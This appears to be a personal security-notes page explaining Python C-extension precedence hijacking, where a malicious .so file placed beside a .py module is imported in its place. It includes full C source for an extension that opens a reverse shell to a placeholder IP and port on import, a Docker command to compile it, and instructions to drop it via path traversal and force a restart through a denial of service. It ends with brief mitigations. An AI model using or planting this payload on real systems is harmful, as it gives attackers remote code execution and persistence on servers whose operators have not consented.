đź§  Python - C-Extension Precedence Hijacking

What is it?

  • Concept: An exploitation technique that leverages CPython’s module resolution order. When Python imports a module, it prioritizes compiled C extensions (.so on Linux) over standard Python source files (.py) if both exist in the same directory. By dropping a malicious .so file adjacent to a legitimate .py file, an attacker can hijack the import process without needing to overwrite the original file.
  • Impact: Remote Code Execution (RCE), Local Privilege Escalation (LPE), or Persistence.

How it works

  1. The Target: Identify a Python module being imported by the target application (e.g., import utils.helpers).
  2. The Payload: Write a malicious Python C extension containing the execution payload within the module initialization function (PyInit_<modulename>).
  3. Compilation: Compile the C code into a Shared Object (.so) file ensuring the architecture and Python version perfectly match the target environment.
  4. The Drop: Utilize an Arbitrary File Write (e.g., via Path Traversal) to drop the .so file into the same directory as the target .py module. Because it is a .so file, it often bypasses simplistic file upload blacklists targeting .py files.
  5. The Trigger: Force the application to import the module. In long-running applications (like Gunicorn/Flask), this requires forcing a worker restart (e.g., via DoS/Timeout) so the interpreter initializes fresh and loads the newly dropped .so file instead of the legitimate .py file.

Exploitation

Prerequisites:

  • Arbitrary File Write vulnerability (with control over the extension).
  • Knowledge of a loaded Python module’s file path.
  • A mechanism to force the application to restart or re-import the module.
  • Ability to compile .so payloads matching the target OS and Python version.

Attack Vectors

1. The Malicious C-Extension: This C code creates a valid Python module that spawns a background reverse shell the moment it is initialized.

#include <Python.h>
#include <stdlib.h>
 
static PyModuleDef helpersmodule = {
    PyModuleDef_HEAD_INIT,
    "helpers",   /* MUST match the name of the hijacked module */
    NULL,
    -1,
    NULL, NULL, NULL, NULL, NULL
};
 
// The initialization function triggered upon import
PyMODINIT_FUNC PyInit_helpers(void) {
    // Spawn the interactive pty shell in the background to prevent hanging the worker
    system("python3 -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<YOUR_IP>',<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')\" &");
    
    return PyModule_Create(&helpersmodule);
}

2. Cross-Compilation via Docker: To avoid glibc or Python version mismatches, compile the payload using a Docker container that mirrors the target.

docker run --rm -v $(pwd):/app -w /app python:3.12 gcc -shared -o helpers.so -fPIC -I/usr/local/include/python3.12 helpers.c

3. The Drop & Trigger: Upload the .so file via Path Traversal to sit alongside the target .py file, then trigger a server timeout/restart to force the fresh import.

Mitigation

  • Read-Only Filesystems: Run containerized applications with a read-only root filesystem (read_only: true in Docker), preventing attackers from dropping .so files onto the disk even if a path traversal vulnerability exists.

  • Whitelist Uploads: Never use blacklists (e.g., if ext in ['.py', '.pyc']) for file upload validation. Only allow explicitly whitelisted extensions (e.g., .png, .jpg).

  • Sanitize Filenames: Always use framework-provided sanitization (e.g., Werkzeug’s secure_filename()) to prevent directory traversal (../) during file writes.

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "đźš©") 
SORT file.name ASC